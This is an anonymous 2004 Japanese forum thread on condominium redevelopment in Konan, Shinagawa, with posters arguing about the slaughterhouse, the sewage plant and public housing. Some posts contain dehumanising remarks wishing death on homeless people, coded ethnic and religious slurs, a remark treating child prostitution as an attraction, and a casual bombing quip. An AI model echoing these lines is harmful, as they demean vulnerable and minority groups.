「港南エリア超高層計画　統一スレ６頭目　ﾌﾞﾋｰ」

としてください

309 ：名無し不動さん：04/02/11 21:10 ID:???

http://human.2ch.net/test/read.cgi/4649/1062054519/-100

品川といえば『ZERO』だね。
懐かしいというより、実は今でもあるんだよね。
城南中学のワタナベ（こいつは凄く悪かった）今なにしてるのかな？

310 ：名無し不動さん：04/02/11 21:29 ID:???

近くにと場がある事知らずにＶタワーとか
買った人間多いんだろうな

311 ：名無し不動さん：04/02/11 21:46 ID:???

覚醒剤の街

312 ：名無し不動さん：04/02/12 00:28 ID:???

>>302
ブラン低層階というだんかいでもうだめ。

313 ：名無し不動さん：04/02/12 21:06 ID:???

屠殺場と東京都民の汚水を処理する工場が目と鼻の先にあるだけで、窓を開けたくないよね。
豚の泣き声はブレーキの音に似てるので、最初は誰も豚の声に気づかないらしい。
下水処理場はそれを覆い隠すように上に公園を作っているので見た目気にならないけどね。

314 ：名無し不動産：04/02/12 23:18 ID:EZjBrVwA

＞310
インターシティより東に行かなければ、
何も影響ありませんがね。

315 ：名無し不動さん：04/02/12 23:48 ID:???

>>63の追加報告がほしい今日この頃。

316 ：名無し不動さん：04/02/12 23:56 ID:???

と場は移転しないでしょ。最近リニューアル
パワーアップしたんじゃなかったっけ

317 ：名無し不動さん：04/02/13 16:57 ID:???

「知らぬが仏」の田舎者以外は、住みたくなるような環境ではないな・・・

318 ：名無し不動さん：04/02/13 21:52 ID:???

>>314
お前買った奴？
でも品川知らないだろ。
ほふった日は風向きにもよるけど、
そこらじゅう豚小屋みたいだぞ。

319 ：名無し不動さん：04/02/13 23:06 ID:???

>>314
京急が橋を越えるときのキーキー音が気になりませんか？

320 ：名無し不動さん：04/02/13 23:20 ID:i1Ouk5hI

京急は発車するとき♪ドーレミファソーと聞こえる

321 ：名無し不動さん：04/02/13 23:25 ID:???

>>320
豚さん牛さんの鳴き声は音階どんな感じです？

322 ：名無し不動産：04/02/13 23:29 ID:6plxnVLX

＞３２０は馬鹿
電極の音だろうが、アホ！

323 ：名無し不動さん：04/02/13 23:35 ID:???

>>320
あれはドイツのシーメンス製です

324 ：321：04/02/13 23:52 ID:???

誰も音階教えてくんないので自分で考えた
（牛）シ～～～～～～（死しかない）
（豚）シ～～～～～～（死しかない）

325 ：名無し不動さん：04/02/13 23:55 ID:RyQS0uJX

完売してＭＲ閉めたマンソンはどこですか。

326 ：名無し不動さん：04/02/13 23:57 ID:???

東京ナイル最近完売したらしい

327 ：名無し不動さん：04/02/14 00:05 ID:???

>>320
2100形ですな。常磐線のE501系もシーメンスだから似た音がするよ♪

328 ：名無し不動さん：04/02/14 02:01 ID:???

ttp://money.2ch.net/test/read.cgi/estate/1037068627/455

329 ：名無し不動さん：04/02/14 21:12 ID:???

　　　　　　　　　　　＼　　　　　　　　　　　　／
　　　　　　　　　　　　＼　　　　　　　　　／
　　　　　　　　　　　　　　＼ ∧∧∧∧／
　　　　　　　　　　　　　　＜　　　俺　＞
　　　　　　　　　　　　　　＜　予　.し　＞
　　　　　　　　　　　　　　＜　　　か　＞
　─────────＜　.感　い　＞──────────
　　　　　　　　　　　　　　＜　　　な　＞
　　　　　　　　　　　　　　＜　!!!!　い　＞
　　　　　　　　　　　　　　　／∨∨∨∨＼
　　　　　　　　　　　　　／　　　　　　　　　＼
　　　　　　　　　　　　／　　　　　　　　　　　　＼
　　　　　　　　　　／　　　　　　　　　　　　＼
　　　　　　　　　／　　　　＿|￣|○ 　　　　　＼

330 ：名無し不動さん：04/02/14 21:13 ID:Xt9lC1k3

どうよ！

331 ：名無し不動さん：04/02/15 00:56 ID:w4fuxRM8

牛豚の自縛霊も多数見えますが何か？＞ 329

332 ：名無し不動さん：04/02/16 01:40 ID:???

age

333 ：名無し不動さん：04/02/16 23:33 ID:NSX/evvY

三井ＰＴ当たった！いえ～い！！

334 ：名無し不動産：04/02/17 00:38 ID:???

キワドイIDだねオメッ

335 ：名無し不動さん：04/02/18 18:13 ID:???

東京都が浮浪者を都営住宅に住まわせることに決めたようだが、
港南は大丈夫だろうか。
購入者として不安になってきた。

336 ：名無し不動さん：04/02/18 20:22 ID:???

ウォーターフロント！ナウい街ですね！港南ﾌﾞﾋｰ

337 ：名無し不動産：04/02/18 21:53 ID:???

ナウいって・・・あんた昭和初期の生まれなのれすか？

338 ：名無し不動さん：04/02/18 22:11 ID:???

>>335
それなら三宅島住人の人を集めてあげた方がいいのに。
時どき竹芝から日帰りで一時帰島しているから、
便利で近い港区に住まわせてあげたい。
ホームレスなんか死んでいいよマジで。

339 ：名無し不動さん：04/02/18 22:40 ID:???

>>338
ホームレスがお前に何かしたのか？
人にはいろんな事情があるんだよ。
それと三宅島住人にはかわいそうだが、あそこは「島」というより
「火山」でしょ。もう人が定住するのは厳しいな。

340 ：名無し不動産：04/02/18 22:48 ID:kZoTBOMc

税金使って、納税者でもない奴を、住まわせるとは
何事か！公園にたむろする連中も強制撤去しろ！
納税者の為の憩いの場であり、塵どもの住む場所ではない。

尖閣諸島にでも派遣して、人柱にして
少しでもお国の役に立って市ね

341 ：名無し不動産：04/02/18 23:08 ID:???

>>338
三宅島の方は、結構港区にも多くいらしゃいますよ。

342 ：名無し不動さん：04/02/18 23:38 ID:0vky8HW+

東京新聞中日新聞のところは西武のショッピングモールになるの？

343 ：名無し不動産：04/02/19 01:20 ID:U93q0Gzx

ショッピングモール、聞こえは良いけど
所詮、西友レベル、
この街には、お洒落さが無い。

344 ：名無し不動さん：04/02/19 07:33 ID:???

小動物も大動物も解体できる街･･･港南

345 ：名無し不動さん：04/02/19 22:23 ID:5lbJyNyL

都心には都営住宅が多い、特に港区や品川区には三宅島から避難してきてる人たちが多いことなんて、港南にいればだれだってしってることじゃねえか
おまえらみんな田舎ものか？？？　だったら悪口いうな
食肉市場祭りいったことないだろ？　

346 ：名無し不動さん：04/02/19 22:32 ID:GUvLo5hI

アトラボのＮＹＣかなりウザいのだが。

347 ：名無し不動さん：04/02/19 22:38 ID:5lbJyNyL

失職して低所得になれば、うまくすれば港南、芝浦やお台場の都営に
入れるからそうしろや　税金も払わなくていいし家賃も安い。建物もここらで売り出してるマンションにくらべればよっぽどしっかりしてるわな。。。
特にお台場の都営はいい　建物も公団や公社なみの外観だし、まさかあんなとこに貧乏人がすめるとはな　

348 ：名無し不動産：04/02/19 23:47 ID:cnWxChus

>345は、勘違いドアホ！
＞港南にいればだれだってしってることじゃねえか
？？？港南なんかに居ないよ！分かりもしない。港南＝都会人？？
じゃあ、俺は、高輪＝仙人か？
アホ

349 ：名無し不動さん：04/02/19 23:52 ID:gQeIZdbJ

鹿島のマンション　場所最悪だろ。
あれだけうるさい場所によく建てるな。
ＭＲはあまりにも非日常的だった。所詮　土建屋マンションだな。

350 ：名無し不動さん：04/02/20 00:16 ID:4vJdeLin

港南は高輪から引っ越すような土地柄じゃないぜ
そのコンプレックスと必死に戦ってるのは理解する
住所変更したら年賀状に「元高輪」とでも書いとけ

351 ：名無し不動さん：04/02/20 00:53 ID:???

>>349
MRが非日常的という意味ではTTTの方が上だった。

352 ：名無し不動産：04/02/20 04:57 ID:???

>>347
都営の駐車場にBMWとかも置いてあるがなんでだ？
所得誤魔化してんのかな。

353 ：名無し不動さん：04/02/20 19:21 ID:???

>>352
ベンツ持ってるのはBとかKとか赤か層化だよ

354 ：名無し不動さん：04/02/21 00:05 ID:S5uatUhU

俺も同じようなの乗ってる（ショーベンじゃないよ）けど、
この辺りの区画の広さは、ごちゃごちゃしてなくて結構いいから
俺も物色中。いずれ都営は立替ごとに徐々に高額家賃にシフト
して行くから心配いらんよ。

355 ：名無し不動さん：04/02/21 11:05 ID:UgJTYWcV

高層化しても都営は都営だよ。どうせそれまで住んでた奴らは
既得権で家賃が変わらないんだろ？　都営住民の>>354さんよ。
そりゃ心配はいらんわな(ﾜﾗ

いっそのこと港南の都営を全部高層化して、山手線内側の都営民を全部
港南に移住させればいいのにね。

356 ：名無し不動さん：04/02/21 11:13 ID:???

都営住宅はやだね、嫌悪施設。
たしか、渋谷の小学生売春の少女も都営住民だった。

あ、そういう子目当てなら港南もわるくないかもしれないね

357 ：名無し不動産：04/02/21 12:35 ID:e8y5hKU1

よくいるよ！ぼろぼろの都営に住んでいるのに
駐車場には、外車が沢山止まっていて、テラスには、衛星アンテナだらけ
資産、億持っている奴もいるからな
こいつら本当に都の補助必要とするのかと思うね。
援助を受ける連中はそれなりの立地に住まわせるべきだね。
良い立地に低家賃で住まわせるから、ごまかししたりする奴も出てくる。

358 ：名無し不動さん：04/02/21 17:30 ID:???

都営は叩いてもしょうがない
２３区何処にでもあるからな
俺も番町の都営（都民？）なら入りたい

359 ：名無し不動さん：04/02/21 23:29 ID:???

＜ソニー＞品川駅前に高層ビル建設へ
ソニーは東京・品川駅の港南口に高さ約１００メートルの高層ビルを建設する。
分散しているグループ各社が入居するほか、本社機能の一部移転も検討してい
る。年内に着工、０６年の完成を目指す。
予定地は旧芝浦工場跡地（港区港南１）の約１．８ヘクタール。地上２０階、
地下３階建てで、延べ床面積は１４万６０００平方メートル。ビルはソニー生命
が保有し、テナントも募集する計画。ソニーは周辺に本社（品川区北品川）
を含め、十数棟のビルを保有しており、事業所の集約を図る。
品川駅東側の港南口は元々、鉄道施設や工場、倉庫などが多かったが、
再開発事業で高層ビルが次々に建設され、オフィス街に生まれ変わっている。
（毎日新聞）

360 ：名無し不動さん：04/02/22 20:13 ID:???

それよりソニーが2006年まで残ってるかが疑問なのだが

361 ：名無し不動産：04/02/22 21:59 ID:+dnKlSvN

ソニーはサム寸に乗っ取られて、
寒寸粗似ー（サムスンソニー）になっているかと
売国奴企業Ｎｏ．１

362 ：名無し不動さん：04/02/24 17:35 ID:???

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363 ：名無し不動さん：04/02/24 20:35 ID:x0tsjy1N

藤和不動産の物件は動きあるのかな？

364 ：：04/02/24 22:34 ID:???

職場が芝浦なので港南はよく知っているが、
あんなところに住もうという気はこれっぽっちも芽生えない。

365 ：名無し不動さん：04/02/25 21:14 ID:UZUfUc9j

ほー、俺も芝浦の会社だけど、
将来発展性考えたら、通勤も
遊び帰りも近くなるので一応
合格だけどね。

366 ：名無し不動さん：04/02/25 21:26 ID:???

住友のＰＡＬが昨日きた。
港南のプランが少し載っていた。
価格情報は無し。

もう港南買う客は２０００もいないと思うが。

367 ：名無し不動さん：04/02/25 22:42 ID:???

>>365
すごく独身志向の強い方ですね
家庭を持つ仮定が全く出来ないお子さまだと思いました

368 ：名無し不動さん：04/02/26 00:35 ID:sxgQGQjg

>>365は、東京食肉市場(株)にお勤めだそうです。

369 ：名無し不動産：04/02/26 00:52 ID:+zQ0BYOQ

人口増えすぎ！

370 ：名無し不動産：04/02/26 05:29 ID:???

東京食肉市場(株)は芝浦じゃ無いのでは？

371 ：名無し不動さん：04/02/26 10:03 ID:???

そろそろ結論。
港南は港区ではない。
港南は嫌悪施設の宝庫。
港南はﾏﾝｿﾝ乱立で値崩れ必至。
港南は臭い。
港南は人口急増でｲﾝﾌﾗ追い付かず住環境劣悪化必至。
港南は都○瀕○の巣窟。
港南は埋立地で地震が心配。
港南は工場跡地で土壌汚染が心配。
港南の環境は人工的かつ無機質で殺風景。
港南は自然の緑なく子供の情操発育面で心配。
港南はもうおしまい。

結論
港南にﾏﾝｿﾝ買う椰子は大馬鹿確定！　
万が一買うにしても、港区とゆう名前だけに釣られて来るｱﾌｫな田舎者
狙いの賃貸目的で相当安く買い叩くこと！

372 ：名無し不動さん：04/02/26 18:18 ID:???

結論その２
港南といえば「と場」だ。

373 ：名無し不動産：04/02/26 21:53 ID:F90TUWOo

>>371
港南は港区じゃない⇒港区。小学校もういちど入り直しなさい。
乱立で値崩れ必至⇒需要供給の動向によるからまあミクロ経済でも勉強してね。いまさら無理か！！
臭い⇒水処理は皆無とはいえないので否定はできない。潮の匂いは好き嫌いの範疇。
ｲﾝﾌﾗ追い付かず⇒基本的には居住民が増加すると、道路等のアクセスは改修向上されるし、
生活利便施設は民間業者が誘致しなくてもやってくるから不安なし。
都市工学か都市機能でも勉強してね。いまさら無理か！！
埋立地で地震が心配⇒都の危険度ランクでは"５"でトータル安全度は高い。もう少し勉強してね。
土壌汚染が心配⇒単なる倉庫跡地はほぼ問題は出ないでしょうね。有機物あるとこ勉強して指摘してね。
環境は人工的かつ無機質で殺風景⇒再開発エリアは当初はどこも同じ。古くは新横浜なんかもそうだし、
現在の豊洲も同じ。建ちあがって居住民が増加したり、会社進出してくると一変してくる。
変な小粒地権者（小住宅）が居ないだけ、街区整備は綺麗に仕上がるのが通例。もっと勉強してね。
子供の情操発育面⇒自らのヘボをここに添加されても困るよ。緑地帯は街区整理で行政指導も含め増加する。
水辺に近いのは稀少。

極小所得者で買えない腹いせをしても、貴殿の実力は今後も上がりそうもないから、
電車１時間は乗る地域が適当だと、もう気が付いたほうが気が楽になりますよ。

374 ：名無し不動さん：04/02/26 22:02 ID:???

>>373
都市工学勉強してても、住環境の何たるかを
そもそも知らない人に語られても困るのよね。
牛とか豚とか食肉加工してる街は、
そもそも住居系の地区にしないほうがいいと思います。

375 ：名無し不動産：04/02/26 22:45 ID:F90TUWOo

>>374
そうは個人的主観で解釈されても、東京副都心計画の強化地区なんだよ品川は。。現実として。
さらにこの地区をみれば。。。。
①１・２丁目は高度集積オフィス街に全面改修する
②３・４丁目は都心高度集積（中高層）住宅地とする
。。。と、いうマスタープランに元づいているですわ。
ですから今後、都市機能の再配分（構築）計画としては、この立地に相応しくない
倉庫等は再建築許可は難しい（大崎副都心計画もほぼ同じだが品川の方が、芝浦を含め遥かに広大な
プラニングがされている）ので用途転換（住宅・商業）は着実に進む構図です。

376 ：名無し不動さん：04/02/26 22:50 ID:???

個人的主観の集合で価値がきまるわけだが。

港南口でたところの汚い店らへんって、ややこしい人おおいからね。
＞ID:F90TUWOoは座学での知識しかないのでしょう。

現に、コクヨビルのあるほうのローソンの前・・・
道路は綺麗になったのに自動販売機が歩道を変な形で占有
してるでしょ？　誰が占有してるのか調べてみれば、
どの程度ややこしい地区かわかるよ。

377 ：名無し不動産：04/02/26 22:58 ID:F90TUWOo

>>376
グランドデザインが分からない椰子や単なる屁理屈屋さんは、
とかく重箱の隅を突付く習性があるのは、この地区以外の
再開発でも必ずいるから、全く気にならんけどね。

378 ：名無し不動さん：04/02/26 23:01 ID:MQNy3Bfc

港南口の広場がぐっとデザインですと？（藁）

とでもいえば、意味わかるだろう。
わからないのなら、あんた再開発のことなしもしらないね。

379 ：名無し不動さん：04/02/26 23:01 ID:???

と場が移転するというマスタープランは無いのですか？
もしくは、と場と共存する良好な住環境についてどの程度
具体的にマスタープランに織り込まれているのですか？

380 ：名無し不動さん：04/02/26 23:08 ID:MQNy3Bfc

ついでに、そこの専門ぶった子へ、

下水処理場ヨコのソニー（生命）ビルの着工が遅れてる理由は？？
再開発に携わってるんなら常識だよね？（藁）

381 ：名無し不動さん：04/02/26 23:08 ID:???

ここで得意げに煽りを書き込んでる人って
面白いね。もっと読ませて、想像させて。

382 ：名無し不動さん：04/02/26 23:11 ID:MQNy3Bfc

煽りじゃないだろう（藁）

383 ：名無し不動産：04/02/26 23:12 ID:F90TUWOo

>>379
細かい思惑や思案はもっかコメントできないものの。。。

都心部再開発で広大な面積を誇るのは、港南、豊洲、大崎が進行形。
六六が終わり、旧防衛庁は膨大な予算規模を伴うものの、住宅は
文字通りＶＩＰ級でサラリーマンでは手が全く届かないものになるでしょう。
貴殿のと場も、居住化（住民増加）が大幅に進めば、行政含め、適地を探すことの
確立が高くなるのは想定可能プランでしょう。（築地や、かつての生花市場もより
適当な場所等に移転したり、計画されている歴史的事実がある）

384 ：名無し不動さん：04/02/26 23:16 ID:???

港南が再開発の目玉の地区というのは同意だが
何も無理して住宅整備まで行う必要あるのかな？
都会派のシングルの人とかDINKSの世帯って
首都圏での住宅需要のメインシェアと思えないし、
ちょっと遠くても自然の公園とか近くにある所とか
お買い物の安い所とか選ぶのが普通だと思うのですが･･･
そもそも急に住宅増やしても学校とか幼稚園とかの
受け入れとか大丈夫ですか？
あの新浦安ですら今、大変な事になってるし･･･

385 ：ID:F90TUWOo：04/02/26 23:17 ID:F90TUWOo

追加
前向きなレスが増えれば、明日以降も夜にはコメントしますよ。

386 ：名無し不動さん：04/02/26 23:18 ID:???

ID:F90TUWOo=real_estate_tokyo

間違いない！

387 ：名無し不動さん：04/02/26 23:20 ID:???

>>383さん
港南のと場は最近施設内をさらに充実させたのですよ！
移転の実現性などかなり低いのでは・・・。
更にいい加減な未来のあなたの勝手な予想をさも真実の様に
語るとは何事ですか。今「白い巨塔」見終わった後だから
>>383さんが何か財前教授みたいに感じられてきちゃいました！

388 ：名無し不動さん：04/02/26 23:39 ID:???

387はreal_estate_tokyo さんでしょ。

充実させたのですよ！
感じられてきちゃいました！
このあたりが文体を変えたreal_estate_tokyo さんのよう。

389 ：名無し不動さん：04/02/26 23:41 ID:???

賭場ネタは盛り上がるな。

390 ：名無し不動さん：04/02/26 23:41 ID:MQNy3Bfc

なんか、自分の思い通りの書き込み＝前向きなレス　って社民党
っぽくていいよね。

住宅整備の費用で港南2丁目２番から６番までを更地にしてくれ
って感じだよ。地歴もねぇ。そもそも取得過程もあれだし。

391 ：388：04/02/26 23:44 ID:???

real_estate_tokyo さんて誰？
東京建物って事？
全然別人です。古くから港南をしっている者です。
現住所言うと又いろいろなりそうだから止す。
ちなみにこの業界は親戚が不動産屋です。
私は無職というか専業主婦みたいな者です。

392 ：名無し不動産：04/02/26 23:47 ID:O/hcZW3S

＞３８７
とばの施設が一身されても、行政レベルの
再開発、移設になれば、そんなの関係ないね
俺は、この目で行政の無駄使いを見てきているから、
移設無しの前提にはならないね。
しこも、大手ゼネコンへの打診とコンペの噂も聞いいたよ

393 ：名無し不動さん：04/02/26 23:51 ID:MQNy3Bfc

都は移転させたくても、現実には無理。

都が思うようにできるのなら、とっくに外環や環８は
完成している。

392は現実を知らないオコチャマ。就職活動がんばってね。

394 ：388：04/02/26 23:54 ID:???

あんまり「と場」とかいうと失礼になるから
（もう手遅れか・・・）街の中央を食肉加工
（大動物棟とか中動物棟とかあるんですよ）する港南を
新規に住居エリアとして誘致する必然性があるのかと。
都心からのアクセスだけで超高層つくり数千人規模の
都心回帰を計るとか、きれい事言ってるけど正直子育ても
含め考えるなら、と場は申し訳ないが移転してもらう前提でないと困る。
私が一番危惧しているのはそういう社会の暗部を無視し、
かっこいいマスタープランだけ軽薄に語っている奴です。
こんな奴に港南の将来の再開発計画を担当させていいのかゆゆしき問題です。

395 ：名無し不動さん：04/02/26 23:57 ID:???

賭場はでっかいどー。インターシティ、グランドコモンズあわせたくらいあるどー。

396 ：名無し不動産：04/02/27 00:00 ID:3d09Vch7

お前の見識は何の意味も根拠も無い。
何も知らないくせに、人を批判するな。蒙昧無知君！
道路事情と１施設を一緒にするよな、見識の無さを曝すだけだぞ～
ここの再開発は、都レベルではなく政府が噛んでいる事実を知らない
下層市民！こっちは、確かな筋の情報を提供してやっている。
そんなに、人を貶して、楽しみたいか。これだから貧乏人は困る

397 ：名無し不動さん：04/02/27 00:06 ID:???

ちょうど零時です。ID変わったあなたは誰？？

398 ：388：04/02/27 00:07 ID:???

確かな筋な情報だろうが、机の上での考えだけで
実際住む人が、港南に今厳然として存在する「と場」を
この街の施設としてマスタープランに織り込み、さらに
あっと思える魅力的な住宅環境にしたてあげるのか
もしくは、単にハードだけ与えて、ＤＱＮが豚の断末魔の声
聴きながら住んでるぜ状態を続けさせようとしているのか
どんなソフトにしたいのかが知りたいですね。

399 ：名無し不動さん：04/02/27 01:09 ID:???

確かな筋な情報って思ってるのは本人だけ（藁）

400 ：名無し不動さん：04/02/27 01:26 ID:vcH8mHRo

400？
まあ、みなさんいろいろ意見・偏見はおありでしょうが、
イヌの散歩に関してはあのへん一帯はグッドですぞ。
春先なんかは昼時にコクヨとかアパレルの前で弁当を買って広場で
イヌと食べますぞえ要一。

401 ：名無し不動さん：04/02/27 01:39 ID:???

コクヨの筋の弁当やの中でなら、オムライスのとこと、タイ料理
のところが好きです。

402 ：名無し不動さん：04/02/27 01:40 ID:???

でも、ローソンの横の自動販売機が撤去されない理由
には興味があります。ヤクザ関係？

403 ：名無し不動さん：04/02/27 03:00 ID:???

社会の暗部？？？なんで？？？

404 ：名無し不動さん：04/02/27 03:28 ID:???

食肉市場が移転されるとしても反対はしないけど移転して欲しいなんて
思っている人も少ないかと思いますが・・・。
食肉市場施設に嫌悪感を持っている方は食卓に並ぶお肉がどこから来てるか
考えた事が無い人でしょうか？ちょっと考えれば食肉市場は絶対必要な施設
というのは誰でも理解出来るはず。原発、ガスタンク等危険性の有る物は、
まっぴらごめんですが、なぜ険悪施設なのかが理解に苦しみます。
それとも食肉市場で働いてる人達が問題視されているのですか？
であれば【ＤＱＮが豚の断末魔の声聴きながら住んでる】なんて書き込み
はおかしいし・・・。

405 ：名無し不動さん：04/02/27 08:30 ID:HtdiPMWy

食肉市場が絶対必要なら、どうして今、吉野家に牛丼がないの？

別に日本に施設が無くても、外国から輸入すればいい。
殺したての血の滴るような高級和牛の刺身やレア・ステーキしか
食べられない香具師は別として。肉食わなくても人間は生きられる。
豆腐は「畑のお肉」生き物を殺してまで食うなよ。

ちなみに漏れはヴェジタリアン。

406 ：名無し不動さん：04/02/27 09:09 ID:???

　さ　あ　、　基　地　外　の　全　員　集　合　で　す　！

407 ：名無し不動さん：04/02/27 09:27 ID:dtjL1a3v

港南の再開発って政府もからんでいるの？

408 ：名無し不動さん：04/02/27 09:43 ID:???

「と場」自体悪く言うつもりもないし、必要な施設だと思うし
「と場」に勤務する人を差別するつもりも毛頭ない。
むしろ感謝すべき。
でも、どうして、「と場」の近くにどうして住宅整備しようと
考えるわけ？
都心に近いから再開発するべきエリアなのは分かるけど、
何も、とって付けたように住宅ゾーンとか作らなくていい。
港南に住宅を誘致しようという人は、単に都心からの
アクセスみたいな次元でしか考えられない人間なんだと思う。
もっと最適な住環境というものが何か、デベロッパーの人は
真剣に考えて欲しい。

409 ：名無し不動さん：04/02/27 11:12 ID:???

>>408

同意！
だいたい、すでにマンションの空き部屋が２万もあるって言われてるのに、
いまだに建築ラッシュは続いてる。
もう、爆破したいよ！

410 ：名無し不動さん：04/02/27 11:36 ID:???

誰がどこにどんな理由で住もうが知ったこっちゃなし興味ない。
なんで他人の家にそれほど執着して興味をもてるのか不思議でたまらない。

爆破したければすれば？
新聞よく見とくよｗ

411 ：名無し不動さん：04/02/27 11:38 ID:???

＞誰がどこにどんな理由で住もうが知ったこっちゃなし興味ない。
＞なんで他人の家にそれほど執着して興味をもてるのか不思議でたまらない。

本当にこんな考えの人は２ｃｈ不動産板には来ない

412 ：名無し不動さん：04/02/27 12:50 ID:???

>>408
なんで食肉市場周辺に住宅整備をしちゃいけないのかが疑問。
食肉市場を悪く言うつもりが無いならよけいに理由が気になります。

413 ：名無し不動さん：04/02/27 14:16 ID:???

>>412
港南の食肉市場周辺に１週間うろうろしてご覧よ
そんな書き込みしたことが恥ずかしくなるよ
無知ってこわいね

414 ：名無し不動さん：04/02/27 16:04 ID:???

PC狛江スレといい、三井の営業ってのはここで書き込んでるとボーナス200万ももらえるのか？
最高の勝ち組だな（ｗ

415 ：名無し不動さん：04/02/27 17:13 ID:???

屠殺

416 ：名無し不動さん：04/02/27 18:58 ID:???

>>413
港南の食肉市場周辺に１週間うろうろしてご覧よ
そんな書き込みしたことが恥ずかしくなるよ
無知ってこわいね　

「と場」自体悪く言うつもりもないし、必要な施設だと思うし
「と場」に勤務する人を差別するつもりも毛頭ない。

再度聞きますが、
なんで食肉市場周辺に住宅整備をしちゃいけないのかが疑問。
食肉市場を悪く言うつもりが無いならよけいに理由が気になります。

417 ：名無し不動さん：04/02/27 20:44 ID:???

「と場」のそばは住宅じゃない方がいいんじゃないの？
郊外でもっと住居系環境に適してる所あるんだから。

418 ：名無し不動さん：04/02/27 22:16 ID:???

>>417
そうじゃなくて
実際住む人が、港南に今厳然として存在する「と場」を
この街の施設としてマスタープランに織り込み、さらに
あっと思える魅力的な住宅環境にしたてあげるのか
もしくは、単にハードだけ与えて、ＤＱＮが豚の断末魔の声
聴きながら住んでるぜ状態を続けさせようとしているのか
どんなソフトにしたいのかが知りたいですね。

でも、どうして、「と場」の近くにどうして住宅整備しようと
考えるわけ？
都心に近いから再開発するべきエリアなのは分かるけど、
何も、とって付けたように住宅ゾーンとか作らなくていい。
港南に住宅を誘致しようという人は、単に都心からの
アクセスみたいな次元でしか考えられない人間なんだと思う。

港南地区の最大の魅力は都心へのアクセス、価格（都心へのアクセスが同等な
地域と比べると安い。下水処理施設等が有る為）、再開発地域。
かと思うんですが自分の中では『食肉市場』はそんなにマイナスポイント
では有りません。でも>>417は「と場」「と場」「と場」のオンパレード
何度も聞いて申し訳ないが、
なんで食肉市場周辺に住宅整備をしちゃいけないのかが疑問。
食肉市場を悪く言うつもりが無いならよけいに理由が気になります。
あと言い方を変えると食肉市場があるとどんな問題点が発生しそうなんですか？
ガスタンク、原発、等は危険を伴う問題点が誰でも頭をよぎるでしょうが、
果たして『食肉市場が伴ってくる問題点は？』

419 ：名無し不動さん：04/02/27 22:41 ID:???

異状にくさいんだよ。駅前の通りを急ぐ人がいっせいに顔をしかめて口と鼻を抑える。
広場にたむろしていた人が、いっせいに散る。公共の場にふさわしい快適さをだいなし
にしている。

420 ：名無し不動さん：04/02/27 23:11 ID:???

駅前の通りを急ぐ人がいっせいに顔をしかめて口と鼻を抑える。

そりゃないでしょ。

421 ：名無し不動さん：04/02/27 23:41 ID:gUgPBYYO

>>418
なんで食肉市場周辺に住宅整備をしなきゃいけないのかが疑問。
食肉市場の近くに住みたいと言うつもりが無いならよけいに理由が気になります。

422 ：名無し不動さん：04/02/27 23:46 ID:???

>>421
港南地区の最大の魅力は都心へのアクセス、価格（都心へのアクセスが同等な
地域と比べると安い。下水処理施設等が有る為）、再開発地域。

423 ：名無し不動さん：04/02/27 23:57 ID:???

「と場」とは単に食肉を卸売りしている所ではなく
毎日の様に牛・馬・豚などがやって来ては
毎日のように解体されている（屠られる）所ですよ。
敢えてその施設を「嫌悪施設」とは捉えてませんが
港南は元々「と場」があった訳だし、再開発の内容も
「と場」のそばでもすんなりと機能する施設を
誘致するべきだと思います。
そもそも私は「超高層」住宅というのも人間にとって
（メンタル的にも）必ずしも優れた住宅とは思っていないので
それが例えば「と場」のそばにあるとか「ガスタンク」のそば
にあるなんていうのは、住環境として如何なものかと
思っています。

424 ：名無し不動さん：04/02/28 00:02 ID:2ASLHvxQ

ＪＲの都心部のターミナル駅としては（乗降客数ではなく）、
東京、上野、新宿の次には品川は必然的にランクされ、私鉄接続を考えると、
渋谷、池袋が名を連ねる。

東海道新幹線が停車（新駅）するようになった今、東海道、横須賀、山手線、京浜東北が
いずれも停車し、将来的には在来線の高崎、東北の各線までが延伸の可能性があるだけに、
品川駅はその広大な敷地を有するだけに、ステーション・キャパは都内３位に位置ずけられる
可能性が高くなってきた。
港南は徒歩１０分前後を有するものの、交通アクセスの観点では魅力満載の地区となった。
施設をどうとるかは、個人的価値観の問題で、住みたくないひとは候補外であっても、その
発展性や環状線の利便を考えれば、これらに意義（メリット）を見いだす者が購入対象とする。
今後もこの地区は買い手が途切れる気配はないようである。

425 ：名無し不動さん：04/02/28 00:04 ID:???

>>422
それは通勤する人・購入する当事者にとってのメリットだけ。
家事に従事する人間、こども達にとっての
魅力には必ずしもなっていない。

426 ：名無し不動さん：04/02/28 00:10 ID:???

>>425
都内の状況は一部地域を除いて似たようなもんだと思いますが。
>425の現実的に住みたい地域は何処？

427 ：名無し不動さん：04/02/28 00:12 ID:???

あと、「と場」「と場」「と場」のオンパレードだった理由もついでに
教えて。

428 ：名無し不動さん：04/02/28 00:15 ID:???

>>425
主に通勤している人の感覚と主婦・こどもの感覚は違うと思います。
妻からしてみれば当然実家のそばに住みたいと思いますよ。
それが幸手市だろうが、竜ヶ崎市であろうが。

429 ：名無し不動産：04/02/28 00:15 ID:nL905JK5

おまえ等、馬鹿か
誰が、とばのある場所に、高層マンション建つと言った
収益性を考えれば、必然的に商業施設重視と決まっている。
一部住居はあり得るがな。他にも利用性は考えられるがね

430 ：名無し不動さん：04/02/28 00:17 ID:???

>>427
結果的にそうなっただけです。

431 ：430：04/02/28 00:26 ID:???

このスレは何かこの地区での分譲業務に携わっている方が
半ば狂信的に必要以上にイメージを向上させようと
している感じがしてきましたので、申し訳ないですけど
このスレから失礼いたします。ちなみに私の実家は
高輪です。

432 ：名無し不動さん：04/02/28 00:30 ID:???

線路の反対側（高輪口）にコンプレックス持ちつづけて住むのはいかがなものか。

433 ：名無し不動さん：04/02/28 00:40 ID:???

>>430
納得。自分の考えの中で「食肉市場」は、今現在の品川東口の中では
たしかに浮いてる存在だとも思います。ただ『牛や豚の断末魔の声とか
血の臭い』等の言い方は現実的じゃないし、悲しくなるね。
港南地区の最大の魅力は都心へのアクセス、価格（都心へのアクセスが同等な
地域と比べると安い。下水処理施設等が有る為）、再開発地域。
といった理由で購入者がいてもビックリするほどじゃないし理解出来るでしょ。
自分は『ガスタンク周辺のマンション』よりも『下水処理施設周辺のマンション』
の方が断然ましです。もっと言っちゃえば『険悪施設』が在るからこそ購入する
気になる価格帯な訳ですしね。>>430的な好みの方々がいてくれたおかげでも
あるので、感謝しますＹＯ

434 ：名無し不動さん：04/02/28 00:52 ID:sfQJDFY2

買えなかった人が延々と負け惜しみ言ってる感じだね。

435 ：名無し不動さん：04/02/28 00:58 ID:2ASLHvxQ

ブランとか外れてそれ以外は予算的に買えない世帯も
結構あるでしょう。
ほどほどは５０００万するから、サラリーマンでも
簡単とはいかんですからね

436 ：名無し不動さん：04/02/28 13:28 ID:erjSe0xo

